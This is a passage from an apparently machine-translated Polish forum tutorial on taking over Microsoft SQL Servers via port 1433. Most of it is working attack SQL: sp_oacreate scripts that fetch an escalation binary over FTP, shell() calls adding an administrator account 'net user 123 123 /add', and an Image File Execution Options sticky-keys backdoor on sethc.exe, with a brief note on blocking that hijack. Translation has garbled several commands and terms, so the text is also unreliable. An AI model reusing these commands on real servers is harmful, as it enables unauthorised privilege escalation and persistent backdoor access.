exec @ret = sp_oamethod @f, 'writeline', NULL, 'konto ftp'
exec @ret = sp_oamethod @f, 'writeline', NULL, 'hasło do ftp'
exec @ret = sp_oamethod @f, 'writeline', NULL, 'get en.exe (brak skryptu eskalacji sieci) c:\en.exe'
exec @ret = sp_oamethod @f, 'writeline', NULL, 'pa'
Po pomyślnym uruchomieniu analizatora zapytań na dysku C pojawi się 1.bat (jeśli wykonanie się powiedzie, ale dysk C nie jest dostępny, można zmienić folder na zapis, ponieważ katalog główny dysku C na którym serwerze zabrania zapisu)
Następnie cmd wykonuje ftp -s:c:\1.bat
Po wykonaniu tego pobierzesz skrypt eskalacji niesieciowy na FTP dysku CFT lub bezpośrednio napiszesz skrypt eskalacji VBS
deklaruj @o int, @f int, @t int, @ret int
exec sp_oacreate 'scrip remove ting.filesystemobject', @o out
egec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set o=CreateObject( "Shell.Users" )'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set z=o.create('user")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'z.changePassword "password","'
exec @ret = sp_oamethod @f, 'writeline', NULL,'z.setting("AccountType")=3'
Następnie cmd wykonuje cscrip, aby usunąć t:\1.vbs
4. Poprzedni jest naprawiany, aby wykonywać polecenia cmd, ale po pewnych naprawach pojawiają się nowe problemy
(1) Wiadomość: Podczas wykonywania xp_cmdshell wystąpił błąd. Połączenie 'CreateProcess' nie powiodło się z kodem błędu: '5'.
Błąd 5 to numer błędu wywołany przez system, CreateProcess oznacza tworzenie wątku, a generowanie błędów ma wiele wspólnego z cmd.exe plików systemowych, jednym jest usunięcie cmd, drugim jest zmniejszenie uprawnień do cmd.
SQL do sprawdzania portów terminala i statusu otwartego:
Mistrz wykonawczy... xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControl\Control\Terminal\Server\WinStations\RDP-Tcp','PortNumber'
Dobrze, kluczowym punktem poniżej jest użycie dwóch instrukcji SQL do skopiowania pliku eksploratora systemu do pliku shift backdoor systemu, a kolejne dwa instrukcje wykonuje się osobno.
To oświadczenie explorer.exe kopiuje jako sethc.exe
deklaruj @o int exec sp_oacreate 'scripremove ting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe';
To oświadczenie kopiuje sethc.exe do katalogu dllcache
declare @oo int exec sp_oacreate 'scrip remove ting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\ sethc.exe';
Pozostałe dwa instrukcje wykorzystują sp_oacreate procedur przechowywanych, które muszą użyć odsole70.dll pliku, więc przetrwanie tego pliku zależy od sukcesu jego tworzenia.
(2), xpsql.cpp: Błąd 5 z CreateProcess (linia 737)
Ta sytuacja jest bardziej skomplikowana, a mówi się o tym w Internecie
EXECUTIVE master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE', 'SoftWare\Microsoft\Jet\4.0\Engines', 'SandBox Mode', 'REG_DWORD',0
Wybierz * z OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user 123 123 /add")');
Wybierz * z OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")');
Sprawdziłem sandbox, żeby podnieść prawa, ale przez moją praktykę wskaźnik sukcesu jest bardzo niski, ponieważ większość serwerów usunęła c:\windows\system32\ias\ias.mdb. Potem możesz spróbować przejęć obrazu, oczywiście przejęcie obrazu jest również warunkowe, 1 musi istnieć xp_regwrite tej procedurze zapisanej 2 to 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe',' Debugger' nie jest usuwany
Najpierw możesz sprawdzić, czy klucz przyklejony rejestru został przejęty
Mistrz wykonawczy... xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Opcje wykonania pliku obrazu\sethc.exe','Debugger'
Jeśli prompt nie znajdzie problemu, dowód zostaje usunięty, nie ma możliwości, sethc.exe wykonanie polecenia sql
EXECUTIVE master... xp_regwrite
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Opcje wykonania pliku obrazu\sethc. EXE',
@value_name='Debugger',
@type='REG_SZ',
@value='C:\WINDOWS\explorer.exe'
Po pięciu połączeniach z terminalem i przełączeniu, komputer przechodzi bezpośrednio na pulpit, a potem dodaje go ręcznie.

Rejestr modyfikuje port terminala

[HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server \ Wds \ rdpwd \ Tds \ tcp]

HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server \ WinStations \ RDP-Tcp,

Jeśli chodzi o zapobieganie przejęciom obrazu, osiąga się to głównie za pomocą następujących metod:

★ Prawo o ograniczeniu pozwoleń

Jeśli użytkownik nie ma już dostępu do klucza rejestru, nie może modyfikować tych rzeczy. Otwórz Edytor Rejestru i przejdź do HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows

NT\CurrentVersion\Image File Execution Options, wybierz ten element, kliknij prawym przyciskiem myszy - > uprawnienia - > zaawansowane i obniż uprawnienia administratora oraz użytkowników systemu (tutaj wystarczy anulować operację zapisu).

★ Metoda szybkiego cięcia nożem z brudnych konopi

Otwórz edytor rejestru i przejdź do baru


HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Opcje wykonywania plików obrazów



Problem można rozwiązać, bezpośrednio usuwając element Opcje wykonania pliku obrazowego.

SQL Command porywa rejestrację Sticky Key Backdoor
xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Opcje wykonania pliku obrazu\sethc.exe',
'Debugger','REG_SZ', 'C:\WINDOWS\system32\kdsn.exe'

Pobranie oprogramowania:
Turyści, jeśli chcecie zobaczyć ukrytą zawartość tego wpisu, proszęOdpowiedź









Poprzedni:Zrozumienie DDL, DML i DCL
Następny:Wyrocznia otrzymuje funkcje długości ciągu length() oraz hengthb()
Opublikowano 19.03.2015 20:26:09 |
Bardzo wiszące narzędzie do włamania 1433
Opublikowano 22.03.2015 10:36:54 |
To też bardzo rozciągający się tutorial
Zrzeczenie się:
Całe oprogramowanie, materiały programistyczne lub artykuły publikowane przez Code Farmer Network służą wyłącznie celom edukacyjnym i badawczym; Powyższe treści nie mogą być wykorzystywane do celów komercyjnych ani nielegalnych, w przeciwnym razie użytkownicy ponoszą wszelkie konsekwencje. Informacje na tej stronie pochodzą z Internetu, a spory dotyczące praw autorskich nie mają z nią nic wspólnego. Musisz całkowicie usunąć powyższą zawartość z komputera w ciągu 24 godzin od pobrania. Jeśli spodoba Ci się program, wspieraj oryginalne oprogramowanie, kup rejestrację i korzystaj z lepszych, autentycznych usług. W przypadku naruszenia praw prosimy o kontakt mailowy.

Mail To:help@itsvse.com